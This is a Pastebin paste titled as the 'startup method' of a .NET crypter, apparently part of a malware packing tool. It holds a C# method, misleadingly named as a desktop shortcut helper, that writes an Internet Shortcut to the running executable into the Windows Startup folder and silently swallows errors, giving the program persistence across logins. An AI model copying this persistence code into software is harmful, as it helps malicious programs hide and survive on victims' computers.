Advertisement
Guest User

S.Q DotNet CRYPTER - startup method

a guest
Sep 1st, 2015
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.64 KB | None | 0 0
  1.         private static void appShortcutToDesktop(string linkName)
  2.         {
  3.             try
  4.             {
  5.                 string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
  6.                 using (StreamWriter streamWriter = new StreamWriter(folderPath + "\\" + linkName + ".url"))
  7.                 {
  8.                     string executablePath = Application.ExecutablePath;
  9.                     streamWriter.WriteLine("[InternetShortcut]");
  10.                     streamWriter.WriteLine("URL=file:///" + executablePath);
  11.                     streamWriter.WriteLine("IconIndex=0");
  12.                     string str = executablePath.Replace('\\', '/');
  13.                     streamWriter.WriteLine("IconFile=" + str);
  14.                     streamWriter.Flush();
  15.                 }
  16.             }
  17.             catch
  18.             {
  19.             }
  20.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement